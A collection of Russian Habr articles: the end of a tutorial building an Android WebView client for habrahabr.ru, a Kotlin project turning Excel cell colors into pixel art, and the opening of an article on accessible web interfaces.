> return true;
>
> }
>
> return false;
>
> }
>
>
>
> public void onPageStarted (WebView view, String url, Bitmap favicon) {
>
> LASTURL = url;
>
> }
>
>
>
> public void onPageFinished (WebView view, String url) {
>
>
>
> }
>
> });
>
>
>
> wv.loadUrl("http://habrahabr.ru");
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Итак, нам нужен градусник загрузки.
1. Запрашиваем фичу: this.getWindow().requestFeature(Window.FEATURE\_PROGRESS);
2. На прогрессчейндж — заполняем окно градусника
activity.setTitle(" "+LASTURL);
activity.setProgress(progress \* 100);
if(progress == 100) activity.setTitle(" "+LASTURL);
3. На начало загрузки запоминаем url в переменной LASTURL = url;
Обрабатываем отвалившийся вайфай на онресивед еррор:
Toast.makeText(getApplicationContext(), «Error: » + description+ " " + failingUrl, Toast.LENGTH\_LONG).show();
(всплывает сообщение для совсем уж дебилов, хотя итак всё будет на странице написано )
14:05 Фиксим вёрстку.
Немного теории. На загруженной странице можно выполнить джаваскрипт. Если например набрать в адресной строке браузера что то вроде javasсript:alert(document.body.innerHTML) — то мы увидим тело страницы (копипастерам — в примере выше — буква «с» — русская, чтобы парсер пропустил).
Ну а дальше — дерево ДОМ и т.д., твори что хочешь, хоть полностью страницу переделывай. Однако мы не зайдем так далеко (я надеюсь) и просто скроем сайдбар, для улучшения читабельности. А браузер уже сам растянет полезный контент по странице. Итак, пробуем добавить обработчик на окончание загрузки страницы:
> `public void onPageFinished (WebView view, String url) {
>
> view.loadUrl("javascript:(function() { " +
>
> "hide('sidebar');"+
>
> "function hide(id){if (document.getElementById(id)){document.getElementById(id).style['display'] = 'none';}}"+
>
> "})()");
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
/\* Отвлекли по работе \*/
Такс, сайдбар скрывается, но с неким скачком. Фиксим загрузку изображений:
14:34 Ускоряем загрузку
Для этого отключим картинки при старте страницы:
view.getSettings().setLoadsImagesAutomatically(false);
и включим на финише, после хака с джаваскриптом:
view.getSettings().setLoadsImagesAutomatically(true);
Такс, грузить контент стал ощутимо быстрее (на моей полуживой Йоте, в эмуляторе, по крайней мере)
14:37 Обед
15:23 Продолжаем разговор
Пока ходил на обед — заглянул в зону бесплатного вайфая, заодно и потестил. С сожалением узрел панель поиска, нелепо висящую в пустом правом углу. Попробуем с ней чтоть сделать.
Для начала тупо скроем.
\* музыка: submatakana — the krypt (это что то с чем то)
> `"hideByClass('panel-tools');"+
>
> "function hideByClass(c){var e=document.getElementsByClassName(c);for(var i=0;i+
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Мда, ломать не строить. Такс, попробуем «приаппендить её к списку блогов.
> `"var parent = document.getElementsByClassName('page-navigation')[0];"+
>
> "var panel = document.getElementsByClassName('panel-tools')[0];"+
>
> "var div = document.createElement('div');"+
>
> "div.innerHTML = panel.innerHTML;"+
>
> "parent.appendChild(div);"+
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
опс, теперь у нас две панели)
> `"panel.innerHTML = '';"+
>
> "div.style['margin-left'] = '30px;'"+
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
15:57 Опс, одна кавычечка не там и весь скрипт рушится как карточный домик.
Надо так: div.style['margin-left'] = '30px';
Так попробую ещё вырубить рекламные блоки в меню, но нет так нет, что то я долго вожусь с грешной вёрсткой (ненавижу).
16:04 Так как данные элементы не поименованы — попробовал так:
> `"var urls=document.getElementsByTagName('a');for(var i=0;i+
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Не срослось
16:16 Попробуем ударить по площадям:
> `"var imgs=document.getElementsByTagName('IMG');for(var i=0;i+
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Картинки скрылись, но пустое место всё равно торчит( Ладно, пусть это останется на домашнее задание желающим. Пусть пока живут на радость рекламодателям.
Перекур.
16:45 Поиск, пожалуй вернем назад, немного ужав по ширине:
> `"var panel = document.getElementById('search');"+
>
> "panel.style['width'] = '55px';"+
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Ну и займемся наконец андроидом.
16:47 Перекрываем аппаратную кнопку назад.
> `1. @Override
> 2. public boolean onKeyDown(int keyCode, KeyEvent event) {
> 3. if ((keyCode == KeyEvent.KEYCODE\_BACK) && wv.canGoBack()) {
> 4. wv.goBack();
> 5. return true;
> 6. }
> 7. return super.onKeyDown(keyCode, event);
> 8. }
> \* This source code was highlighted with Source Code Highlighter.`
16:57 Создаем меню
> `1. @Override
> 2. public boolean onCreateOptionsMenu(Menu menu)
> 3. {
> 4. super.onCreateOptionsMenu(menu);
> 5.
> 6. this.myMenu = menu;
> 7. MenuItem item = menu.add(0, 1, 0, "MAIN PAGE");
> 8. item.setIcon(R.drawable.home);
> 9. MenuItem item2 = menu.add(0, 2, 0, "BACK");
> 10. item2.setIcon(R.drawable.arrowleft);
> 11. MenuItem item3 = menu.add(0, 3, 0, "F5");
> 12. item3.setIcon(R.drawable.s);
> 13. MenuItem item4 = menu.add(0, 4, 0, "CLEAR CACHE");
> 14. item4.setIcon(R.drawable.trash);
> 15. MenuItem item5 = menu.add(0, 5, 0, "VOID");
> 16. item5.setIcon(R.drawable.vote);
> 17. return true;
> 18. }
> 19.
> 20. @Override
> 21. public boolean onOptionsItemSelected(MenuItem item) {
> 22. switch (item.getItemId())
> 23. {
> 24. case 1:
> 25. wv.loadUrl("http://habrahabr.ru");
> 26. break;
> 27. case 2:
> 28. if (wv.canGoBack()) {
> 29. wv.goBack();
> 30. }
> 31. break;
> 32. case 3:
> 33. wv.loadUrl(LASTURL);
> 34. break;
> 35. case 4:
> 36. wv.clearCache(true);
> 37. break;
> 38. case 5:
> 39. Intent marketIntent2 = new Intent(Intent.ACTION\_VIEW, Uri.parse(
> 40. "http://market.android.com/details?id=" + getPackageName()));
> 41. startActivity(marketIntent2);
> 42. break;
> 43. }
> 44.
> 45. return true;
> 46. }
> \* This source code was highlighted with Source Code Highlighter.`
Здесь пояснять особо даже и ничего вроде…
Вебвью хранит данные в локальном изолированном кеше и функция clearCache — удаляет закешированные картики и т.п.
В маркет пользователя отправляем при помощи интента + старт активити, это стандартный механизм взаимодействия с внешними приложениями.
17:01 Такс, пожалуй, стоит сделать режим с картиками/без картинок
Фиксим меню:
menu.add(0, 6, 0, „IMG ON“);
menu.add(0, 7, 0, „IMG OFF“);
17:05 Мутим функции сохранения настроек
> `1. private void saveSettings(Boolean val)
> 2. {
> 3. SharedPreferences settings = getSharedPreferences(PREFS\_NAME, 0);
> 4. SharedPreferences.Editor editor = settings.edit();
> 5. editor.putBoolean("IMGMODE", val);
> 6. editor.commit();
> 7. }
> \* This source code was highlighted with Source Code Highlighter.`
В неё будем передавать настройки (грузить или нет картинки), а она пусть запихивает в переменную переданное значение.
(выше объявили константу PREFS\_NAME — это как бы имя конфига)
Теперь просто вызываем её в обработчике меню:
> `1. case 6:
> 2. saveSettings(true);
> 3. break;
> 4. case 7:
> 5. saveSettings(false);
> 6. break;
> \* This source code was highlighted with Source Code Highlighter.`
17:18 И читаем константу при создании приложения из нашего конфига
> `1. SharedPreferences settings = getSharedPreferences(PREFS\_NAME, 0);
> 2. imgOn = settings.getBoolean("IMGMODE", false);
> 3. webSettings.setLoadsImagesAutomatically(imgOn);
> \* This source code was highlighted with Source Code Highlighter.`
17:19 Тестируем ещё раз
17:25 Вроде косяков нет. Экспортируем проект.
В эклипсе это правая кнопка на проекте экспорт и запускается мастер, позволяющий создать/выбрать сертификат и упаковывающий проект. Далее топаем в [маркет](https://market.android.com/publish/Home)
17:38 Публикуем.
На самом деле не самая простая задача. Где то надо добыть кучу промографики определенного размера, поэтому не дизайнерам тут тяжко.
По параметрам.
— Чтобы установить основным языком приложения русский — надо сперва добавить русский, и только после этого появится возможность удалить английский.
— В полях дескрипшн и промотекст желательно упомянуть ключевые слова, по которым могут искать приложение.
— Если устновить цену free — потом сделать его платным — невозможно
— Не ставьте галку copy protection, приложение не будет ставиться на часть девайсов
— Лучше укажите все страны, даже если приложение только для русскоязычных, например.
17:50 Опубликовали.
[Скачать с маркета](https://market.android.com/details?id=ru.habrahabr.android)
[Скачать исходный код](http://narod.ru/disk/10774830001/habrahabr.zip.html)
Мда, с иконкой не очень красиво получилось( Почему то меня гложет эта мысль. Так что если кто-ть может изобразить чтоть 48\*48 — буду премного благодарен.
Полностью, итоговый исходник:
> `1. package ru.habrahabr.android;
> 2.
> 3. import android.app.Activity;
> 4. import android.content.Intent;
> 5. import android.content.SharedPreferences;
> 6. import android.graphics.Bitmap;
> 7. import android.net.Uri;
> 8. import android.os.Bundle;
> 9. import android.view.KeyEvent;
> 10. import android.view.Menu;
> 11. import android.view.MenuItem;
> 12. import android.view.Window;
> 13. import android.webkit.WebChromeClient;
> 14. import android.webkit.WebSettings;
> 15. import android.webkit.WebView;
> 16. import android.webkit.WebViewClient;
> 17. import android.widget.Toast;
> 18.
> 19. public class habr extends Activity {
> 20.
> 21. private WebView wv;
> 22. private String LASTURL = "";
> 23. Menu myMenu = null;
> 24. private static final String PREFS\_NAME = "MyPrefs";
> 25. private Boolean imgOn;
> 26.
> 27. /\*\* Called when the activity is first created. \*/
> 28. @Override
> 29. public void onCreate(Bundle savedInstanceState) {
> 30. super.onCreate(savedInstanceState);
> 31. this.getWindow().requestFeature(Window.FEATURE\_PROGRESS);
> 32. setContentView(R.layout.main);
> 33.
> 34. wv = (WebView) findViewById(R.id.wv);
> 35.
> 36. WebSettings webSettings = wv.getSettings();
> 37. webSettings.setSavePassword(true);
> 38. webSettings.setSaveFormData(true);
> 39. webSettings.setJavaScriptEnabled(true);
> 40.
> 41. SharedPreferences settings = getSharedPreferences(PREFS\_NAME, 0);
> 42. imgOn = settings.getBoolean("IMGMODE", false);
> 43. webSettings.setLoadsImagesAutomatically(imgOn);
> 44.
> 45. final Activity activity = this;
> 46.
> 47. wv.setWebChromeClient(new WebChromeClient() {
> 48. public void onProgressChanged(WebView view, int progress)
> 49. {
> 50. activity.setTitle(" "+LASTURL);
> 51. activity.setProgress(progress \* 100);
> 52. if(progress == 100)
> 53. activity.setTitle(" "+LASTURL);
> 54. }
> 55. });
> 56. wv.setWebViewClient(new WebViewClient() {
> 57. public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
> 58. Toast.makeText(getApplicationContext(), "Error: " + description+ " " + failingUrl, Toast.LENGTH\_LONG).show();
> 59. }
> 60.
> 61. @Override
> 62. public boolean shouldOverrideUrlLoading(WebView view, String url)
> 63. {
> 64. if (url.indexOf("habrahabr")<=0) {
> 65. // the link is not for a page on my site, so launch another Activity that handles URLs
> 66. Intent intent = new Intent(Intent.ACTION\_VIEW, Uri.parse(url));
> 67. startActivity(intent);
> 68. return true;
> 69. }
> 70. return false;
> 71. }
> 72.
> 73. public void onPageStarted (WebView view, String url, Bitmap favicon) {
> 74. LASTURL = url;
> 75. view.getSettings().setLoadsImagesAutomatically(false);
> 76. }
> 77.
> 78. public void onPageFinished (WebView view, String url) {
> 79. view.loadUrl("javascript:(function() { " +
> 80. "hide('sidebar');"+
> 81. //"var parent = document.getElementsByClassName('page-navigation')[0];"+
> 82. //"var panel = document.getElementsByClassName('panel-tools')[0];"+
> 83. //"var div = document.createElement('div');"+
> 84. //"div.innerHTML = panel.innerHTML;"+
> 85. //"parent.appendChild(div);"+
> 86. //"panel.innerHTML = '';"+
> 87. //"div.style['margin-left'] = '31px';"+
> 88. "var panel = document.getElementById('search');"+
> 89. "panel.style['width'] = '55px';"+
> 90.
> 91. //"var imgs=document.getElementsByTagName('IMG');for(var i=0;i
> 92. //"var urls=document.getElementsByTagName('li');for(var i=0;i
> 93. //"hideByClass('panel-tools');"+
> 94. "function hide(id){if (document.getElementById(id)){document.getElementById(id).style['display'] = 'none';}}"+
> 95. //"function hideByClass(c){var e=document.getElementsByClassName(c);for(var i=0;i
> 96. "})()");
> 97. if (imgOn) view.getSettings().setLoadsImagesAutomatically(true);
> 98. }
> 99. });
> 100.
> 101. wv.loadUrl("http://habrahabr.ru");
> 102. }
> 103.
> 104. @Override
> 105. public boolean onKeyDown(int keyCode, KeyEvent event) {
> 106. if ((keyCode == KeyEvent.KEYCODE\_BACK) && wv.canGoBack()) {
> 107. wv.goBack();
> 108. return true;
> 109. }
> 110. return super.onKeyDown(keyCode, event);
> 111. }
> 112.
> 113. @Override
> 114. public boolean onCreateOptionsMenu(Menu menu)
> 115. {
> 116. super.onCreateOptionsMenu(menu);
> 117.
> 118. this.myMenu = menu;
> 119. MenuItem item = menu.add(0, 1, 0, "MAIN PAGE");
> 120. item.setIcon(R.drawable.home);
> 121. MenuItem item2 = menu.add(0, 2, 0, "BACK");
> 122. item2.setIcon(R.drawable.arrowleft);
> 123. MenuItem item3 = menu.add(0, 3, 0, "F5");
> 124. item3.setIcon(R.drawable.s);
> 125. MenuItem item4 = menu.add(0, 4, 0, "CLEAR CACHE");
> 126. item4.setIcon(R.drawable.trash);
> 127. MenuItem item5 = menu.add(0, 5, 0, "VOID");
> 128. item5.setIcon(R.drawable.vote);
> 129. menu.add(0, 6, 0, "IMG ON");
> 130. menu.add(0, 7, 0, "IMG OFF");
> 131. return true;
> 132. }
> 133.
> 134. @Override
> 135. public boolean onOptionsItemSelected(MenuItem item) {
> 136. switch (item.getItemId())
> 137. {
> 138. case 1:
> 139. wv.loadUrl("http://habrahabr.ru");
> 140. break;
> 141. case 2:
> 142. if (wv.canGoBack()) {
> 143. wv.goBack();
> 144. }
> 145. break;
> 146. case 3:
> 147. wv.loadUrl(LASTURL);
> 148. break;
> 149. case 4:
> 150. wv.clearCache(true);
> 151. break;
> 152. case 5:
> 153. Intent marketIntent2 = new Intent(Intent.ACTION\_VIEW, Uri.parse(
> 154. "http://market.android.com/details?id=" + getPackageName()));
> 155. startActivity(marketIntent2);
> 156. break;
> 157. case 6:
> 158. saveSettings(true);
> 159. break;
> 160. case 7:
> 161. saveSettings(false);
> 162. break;
> 163. }
> 164.
> 165. return true;
> 166. }
> 167.
> 168. private void saveSettings(Boolean val)
> 169. {
> 170. SharedPreferences settings = getSharedPreferences(PREFS\_NAME, 0);
> 171. SharedPreferences.Editor editor = settings.edit();
> 172. editor.putBoolean("IMGMODE", val);
> 173. editor.commit();
> 174. }
> 175. }
> \* This source code was highlighted with Source Code Highlighter.`
**UPD**: Очень сильно переделал вёрстку.
За основу взял стиль разработанный [almalexa.habrahabr.ru](http://almalexa.habrahabr.ru/) и существенно доработал его напильником под маленькое разрешение.
Получившийся стиль: [userstyles.org/styles/46932/habr](http://userstyles.org/styles/46932/habr)
На этом считаю разработку законченной. Клиент в маркете — обновлён.
Итого: на всё про всё ушли сутки.
 | https://habr.com/ru/post/117885/ | null | ru | null |
# Пиксели, Excel, Kotlin и немного ностальгии…
Всем привет! Идея для этой статьи пришла еще месяц назад, но в силу занятости на работе времени катастрофически не хватало. Однажды вечером в YouTube я наткнулся на ролик о создании игры-платформера в стиле пиксельной графики. И тут мне вспомнились мои первые уроки информатики в школе, где мы "рисовали на Бейсике" и играли в "ворона ест буквы".
#### Предисловие
На дворе стоял 2000-й год. Кризис 98 года остался позади. Я учился в 8 классе местной школы, в небольшом городке. С началом учебного года всех ждало небольшое событие - ввели урок информатики. Многие отнеслись к этому, как к еще одному предмету который надо учить, но были и те, у кого загорелись глаза. В числе последних оказался и я.
Надо отметить, что информатику хоть и ввели, но "ввести новые компьютеры" забыли, потому что денег на эти цели не было. На службе у нашей школы тогда стояли машины made in USSR - "[**Электроника МС 0511**](https://red-innovations.su/index/photos_c/uknc.html)" и несколько их чуть более современных аналогов. Работали они только по им самим ведомым законам, или после прихода некоего "Николая Владимировича" - местного мастера.
фото с сайта - red-innovations.suВести предмет как водится поставили молодого и "горячего" преподавателя - девушку 26 лет, которая кстати очень старалась. Мы учили системы счисления и переводили письменно числа из одной в другую. Читали про общее устройство ПК и конечно был Бейсик. У каждого тетрадка была в прочной прозрачной обложке, сзади которой была нарисована система координат. Это был своего рода холст для эскизов фигур, которые мы потом старательно переносили в код.
Именно эту тетрадь, с фигурами, нарисованными шариковой ручкой мне и напомнил ролик. Нахлынули воспоминания и захотелось сделать что-то похожее, пусть и без Бейсика, тем более что выдалась пара свободных вечеров.
Рисуем первое изображение
-------------------------
Для своих целей я взял BufferedImage. Начал с простой функции, которая рисует пиксель в заданных координатах и с определенным цветом.
```
fun drawPixel(
x:Int, y:Int, red:Int, green:Int, blue: Int,
image: BufferedImage
) {
image.setRGB(x, y, Color(red,green,blue).rgb)
}
```
Чтобы проверить работу набросал метод, который выводит картинку с пикселями рандомного цвета. В функции можно понизить значение каждого из каналов цвета, задав диапазон - красного ***redRng***, зеленого ***greenRng*** и синего ***blueRng*** цвета.
```
fun drawRandImage(
image: BufferedImage, stepSize: Int = 1,
redRng: Int = 255, greenRng: Int = 255, blueRng: Int = 255
) {
for(posX in 0 until image.width step stepSize){
for (posY in 0 until image.height step stepSize) {
val r = if (redRng <= 0) 0 else Random.nextInt(0, redRng)
val g = if (greenRng <= 0) 0 else Random.nextInt(0, greenRng)
val b = if (blueRng <= 0) 0 else Random.nextInt(0, blueRng)
drawPixel(posX, posY, r, g, b, image)
}
}
}
```
Если поставить в цикле шаг ***stepSize*** отличный от единицы и занизить один из каналов, то можно получить интересный эффект.
рандомное изображение 1.) step 3, RGB (11, 238, 229) 2.) step 2, RGB (181, 19, 227)Вроде что-то вырисовывается. Теперь надо сохранить результат. Роль по записи изображения была героически возложена на ImageIO. Насколько я знаю - он блокирующий, поэтому я его от греха подальше обернул в Thread.
```
fun writeImage(img: BufferedImage, file: String) {
val imgthread = Thread(Runnable {
ImageIO.write(img, File(file).extension, File(file))
})
try {
imgthread.start()
} catch (ex: Exception) {
ex.printStackTrace()
imgthread.interrupt()
}
}
```
Останавливаться на этом было глупо, поэтому следующим шагом решил сделать "*рисовалку*" на базе двумерного списка.
Пиксельное сердце
-----------------
Координаты для отрисовки решил сделать в виде двумерного списка ArrayList>. Получить "пиксельный" эффект мне помогла функция ***drawTitle***, которая "дергает" в цикле ***drawPixel***, рисуя "big pixel" в виде плитки.
```
fun drawTile(
startX: Int, startY: Int, size: Int,
red: Int, green: Int, blue: Int, image: BufferedImage
) {
for (posX in startX until startX+size) {
for (posY in startY until startY+size) {
drawPixel(posX,posY,red,green,blue,image)
}
}
}
```
Настала очередь обработать массив с числами. Сказано-сделано. Добавив с помощью оператора when обработку 4 цветов…
```
fun drawImage(pixels: ArrayList>, image: BufferedImage) {
pixels.forEachIndexed { posY, row ->
row.forEachIndexed { posX, col ->
when(col) {
1 -> drawTile(posX\*10,posY\*10,10,255,2,0,image)
2 -> drawTile(posX\*10,posY\*10,10,156,25,31,image)
3 -> drawTile(posX\*10,posY\*10,10,255,255,255,image)
else -> drawTile(posX\*10,posY\*10,10,23,0,44,image)
}
}
}
}
```
…и создав список в виде двумерного массива, где каждая цифра соответствует своему цвету (*1 = красный, 2 = темно-красный, 3 = белый, 4 = фиолетовый*)
```
val map = arrayListOf(
listOf(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0),
listOf(0,0,0,1,1,1,0,0,0,1,2,2,0,0,0),
listOf(0,0,1,3,3,1,1,0,1,1,1,2,2,0,0),
listOf(0,1,3,3,1,1,1,1,1,1,1,1,2,2,0),
listOf(0,1,3,1,1,1,1,1,1,1,1,1,2,2,0),
listOf(0,1,1,1,1,1,1,1,1,1,1,1,2,2,0),
listOf(0,1,1,1,1,1,1,1,1,1,1,1,2,2,0),
listOf(0,0,1,1,1,1,1,1,1,1,1,2,2,0,0),
listOf(0,0,0,1,1,1,1,1,1,1,2,2,0,0,0),
listOf(0,0,0,0,1,1,1,1,1,2,2,0,0,0,0),
listOf(0,0,0,0,0,1,1,1,2,2,0,0,0,0,0),
listOf(0,0,0,0,0,0,1,2,2,0,0,0,0,0,0),
listOf(0,0,0,0,0,0,0,2,0,0,0,0,0,0,0),
listOf(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0),
)
```
...на выходе получил такую красоту. Мой внутренний "школьник" был очень доволен.
pixel heartИ хотя все получилось как я ожидал, но "рисовать цифрами" то еще удовольствие, да и хотелось на выходе получать что-то посложнее в плане цвета и детализации, поэтому я задумался о визуальном редакторе. Но запасы чая таяли на глазах, а вечер постепенно перетекал в ночь, поэтому решено было отложить задачу до завтра.
Excel как холст
---------------
Следующим вечером я продолжил. Сперва подумал о JS (React JS), но тут нужно было переписывать все полностью на нем, да и JavaScript я пробовал слишком давно. Хотелось взять что-то простое…
По работе часто приходится работать с таблицами, поэтому само собой выбор остановился на Excel. Привел строки столбцы к виду квадратной сетки и вуаля - наш холст готов к работе с цифровыми красками. Осталось лишь только получить данные из ячеек. "*Цифровая бумага все стерпит*" - подумал я, и взял [**Apache POI**](https://poi.apache.org/)- библиотеку для работы файлами word, excel, pdf. Документация у нее написана хорошо, но некоторые примеры кода там явно требуют корректировки.
Для начала набросал простую лямбду для преобразования hex в rgba, которая отдает стандартный джавовский класс **Color**.
```
val toRGBA = { hex: String ->
val red = hex.toLong(16) and 0xff0000 shr 16
val green = hex.toLong(16) and 0xff00 shr 8
val blue = hex.toLong(16) and 0xff
val alpha = hex.toLong(16) and 0xff000000 shr 24
Color(red.toInt(),green.toInt(),blue.toInt(),alpha.toInt())
}
```
Теперь оставалось пройтись по листу и собрать все ячейки в массив, попутно извлекая цвет у закрашенной ячейки и проставляя его в пустых.
```
fun getPixelColors(file: String, listName: String): ArrayList> {
val table = FileInputStream(file)
val sheet = WorkbookFactory.create(table).getSheet(listName)
val rowIterator: Iterator = sheet.iterator()
val rowArray: ArrayList = ArrayList()
val cellArray: ArrayList = ArrayList()
while (rowIterator.hasNext()) {
val row: Row = rowIterator.next()
rowArray.add(row.rowNum)
val cellIterator = row.cellIterator()
while (cellIterator.hasNext()) {
val cell = cellIterator.next()
cellArray.add(cell.address.column)
}
}
val rowSize = rowArray.maxOf { el->el }
//...проходим по листу
//...и формируем массив
return pixelMatrix
}
```
Функция немаленькая и всю ее приводить я не буду (*ссылка на код в конце статьи)*. Конечно, ее можно сократить, но ради читаемости я оставил все как есть. И тут хотелось бы остановиться на одном моменте.
Чтобы создать двумерный массив с пикселями, нужно узнать количество строк и столбцов, в которых есть закрашенные ячейки. И если следовать примеру из документации и сделать так...
```
val rows = sheet.lastRowNum
val cells = sheet.getRow(rows).lastCellNum // + rows
val pixArray = Array(rows+1) {Array(ccc+1) {""} }
```
...то Вы получите ошибку *OutOfBounds*. Количество строк (*row*) получается всегда правильным, но количество ячеек порой то меньше, то больше чем нужно. Я так и не понял, почему результат "скачет", причем проявляется это рандомно. Исправить это можно при помощи ***iterator.hasNext()***, который реально возвращает последнюю ячейку.
Редактор пикселей в ExcelДело сталось за малым - преобразовать нашу "пиксельную матрицу" в картинку и вернуть в качестве результата BufferedImage. В отличии от начала статьи, тип картинки у нас изменился на - *TYPE\_INT\_ARGB*, чтобы не закрашенные ячейки таковыми и оставались.
```
fun renderImage(pixels: ArrayList>): BufferedImage {
val resultImage = BufferedImage(
pixels[0].size\*10,
pixels.size\*10,
BufferedImage.TYPE\_INT\_ARGB
)
pixels.forEachIndexed { posY, row ->
row.forEachIndexed { posX, col ->
drawTile(
(posX)\*10,(posY)\*10, 10,
toRGBA(col).red, toRGBA(col).green,toRGBA(col).blue,
toRGBA(col).alpha, resultImage
)
}
}
return resultImage
}
```
Теперь, запасшись малиновым чаем и любимой музыкой можно придаться ностальгии и творить.
отрисованная картина в Excel. за основу взята работа Mockingjay1701Выводы
------
Весь код доступен по [**ссылке на github**](https://github.com/klesarev/excel-pixel-drawer). Что дальше? В планах добавить поддержку svg, может добавить несколько фильтров (*blur, glitch, glow, etc..*), переписать все с “индусского кода” на человеческий, добавить поддержку **xls** (*HSSF Color*) и возможно набросать пару тестов. Чего-то больше добавлять не имеет смысла, так как это скорее интересная задача с легким налетом ностальгии, чем какой-то проект.
Послесловие
-----------
Конечно, можно было ограничиться лишь "Фотошопом и Экселем" (*ctrl+c, ctrl+v*), но цель была не просто получить пиксельный "шедевр" в пару кликов. Хотелось вспомнить школьные уроки информатики, ту теплую атмосферу: Бейсик, старые компьютеры, пиксельные рисунки на экране черно-белого монитора "Электроника МС". Да черт побери, в конечном счете это хоть и простая, но интересная задача, потратить на которую пару вечеров просто приятно.
И раз уж текст скорее всего выйдет накануне 14 февраля, то пусть он будет своеобразным признанием в любви к технологиям, которыми я с того самого дня и по настоящее время увлечен.
Пусть через пару лет "Электронику МС" сменили современные аналоги на базе Pentium, те первые занятия на старых компьютерах навсегда останутся со мной, ведь именно они вложили в меня любовь к компьютерам и всему что с ними связано...
А с чего начиналась информатика у Вас в школе?
**Всем спасибо! Всем пока!** | https://habr.com/ru/post/542242/ | null | ru | null |
# Разработка доступных интерфейсов
[По данным Росстата](http://specialbank.ru/2016/10/18/stats_russia) 1 млн. человек имеют проблемы со зрением, начиная от астигматизма и заканчивая слепотой и с трудом могут пользоваться обычными сайтами. Попробуйте протестировать ваш ресурс на доступность: зажмурьте глаза, чтобы экран размылся и кликайте, вводите текст, переходите по страницам. Если привычные действия неудобно выполнять, то можно задуматься над доступностью.
Хорошие примеры доступных сайтов у Пенсионного Фонда и Госуслуг. Чтобы ваш ресурс стал доступным, такой масштабной работы, как для ПФР, не требуется. Достаточно применить три принципа, добавить в закладки два сайта с подробной документацией по разработке доступных сайтов и немного адаптировать рабочий процесс под новую парадигму. В результате ваши ресурсы перейдут на новую ступень: будут доступными и удобными для людей с ограниченными возможностями.
О том, как быстро и эффективно разрабатывать доступные ресурсы сегодняшняя расшифровка доклада **Сергея Кригера** на [Frontend Conf](http://frontendconf.ru/).
**Доступность в вебе**
----------------------
Наш докладчик — **Сергей Кригер** — фронтенд-разработчик веб-студии **SinnerSchrader**, создающей веб-приложения для Альянс, Ауди и БМВ и других компаний. Основные интересы Сергея: JavaScript, разработка интерфейсов и доступность. Про доступность поговорим подробнее.
Доступность — термин, объединяющий набор правил, рекомендаций и технологий. Применяя эти правила разработчики могут создавать веб-страницы, которыми удобно пользоваться всем, в том числе людям с ограниченными возможностями.
Доступные сайты — это не специальные отдельные ресурсы для слабовидящих или слабослышащих людей, а те же самые страницы, что мы посещаем каждый день. Доступным ресурсом удобно пользоваться любому человеку: с проблемами зрения, слуха, пенсионеру и здоровому человеку, но со слабым мобильным интернетом.
Чтобы наши сайты были удобны всем пользователям, мы научимся разрабатывать доступные веб-интерфейсы на реальных примерах.
**Разработка**
--------------
Как строится обычный процесс разработки?
Предположим, что мы получили макет от дизайнера и нам нужно сверстать веб-страницу. Наша задача, как разработчиков, превратить макет в работающий сайт. Если страница соответствует всем требованиям технического задания и визуально совпадает с макетом, то мы считаем, что наша работа выполнена.
> Часто в ТЗ нет ни слова про доступность и я считаю, что это проблема.
>
>
[По данным Росстата](http://specialbank.ru/2016/10/18/stats_russia) людей с проблемами зрения около 1 000 000. Верстая сайты без акцента на доступность мы создаем ресурсы, которыми не смогут пользоваться 1 млн. пользователей.
Чтобы веб-страницы, веб-элементы или веб-компоненты были доступны не только здоровым пользователям, **в процесс разработки достаточно добавить 3 шага**. Рассмотрим этот процесс на реальных примерах верстки кнопки, модального окна и меню.
Будем верстать виджет погоды, который показывает текущую погоду и прогноз на следующие 4 дня. В настройках будет выбор просмотра погоды в одном из трех городов.
Для удобства разобьем процесс создания виджета на**4 части**:
* верстка кнопки;
* модального окна;
* меню;
* сборка виджета.
Начнем работу с кнопки.
**Кнопка**
----------
Самый простой из интерактивных элементов: прекрасно стилизуется и хорошо работает с JavaScript.
В макете дизайнера кнопка выглядит так:
Обычный вид кнопки и второстепенный.
Ниже первый вариант разметки:
Визуально результат соответствует макету, но для пользователя, который плохо видит экран, страница будет выглядеть размыто.
При клике на кнопку «Basic» вокруг нее появляется синяя обводка. Это стандартное поведение любого браузера и показатель, что кнопка в фокусе, но для меня зеленый цвет кнопки и синяя рамка неразличимы и непонятно на какой кнопке мы сейчас сфокусированы.
Мы подошли к первому шагу — работа с фокусом. Фокус это не только красивый стиль кнопок, чек-боксов и других элементов, но также порядок фокуса, автофокус и многое другое.
### **Шаг 1. Фокус**
У элементов есть много состояний. Для работы с ними существует целый набор псевдоклассов, но мы рассмотрим 3 основных:
* **:hover** — наведение;
* **:focus** — фокус;
* **:active**— нажатие.
Задача кажется простой — добавить псевдоклассы к нашим элементам и готово, но есть одно «но».
Как правило, хороший дизайнер присылает вместе с макетом **style guide** с описанием всех элементов. С помощью стилей научим кнопки правильно обрабатывать фокус, то есть менять состояние при наведении, фокусе и нажатии. При размытом экране элементы будут выглядят гораздо заметнее для слабовидящих пользователей, по сравнению с обычным синим кольцом вокруг.
Иногда бывает, что в макете нет всех состояний. Часто у нас есть всего 2 вида: обычное и состояние наведения.
Для доступности этого не хватит, но мы можем добавить недостающих состояний самостоятельно. Состояния отличаются друг от друга прозрачностью: чуть темнее или светлее. Задача доступности будет решена.
> Важно понимать, что доступность — не только про разработку. Доступность и про дизайн, и про контент, и про все на свете и ей должна заниматься вся команда.
>
>
### **Шаг 2. Клавиатура**
Кнопки на странице находятся не просто так. При клике на кнопку должно происходить какое-то событие.
На доступном ресурсе все, что можно сделать на при помощи мышки, должно быть продублировано клавиатурой.
Мы не будем придумывать как наша кнопка должна работать с клавиатурой. [На сайте w3.org](https://www.w3.org/TR/wai-aria-1.1/) собрано множество элементов с прописанным сценарием поведения при взаимодействии с клавиатурой, скринридером и мышкой. Документацией на сайте мы будем руководствоваться на всех шагах разработки доступных ресурсов.
В документации сказано, что кнопка становится активной при нажатии пробела или Enter на клавиатуре.
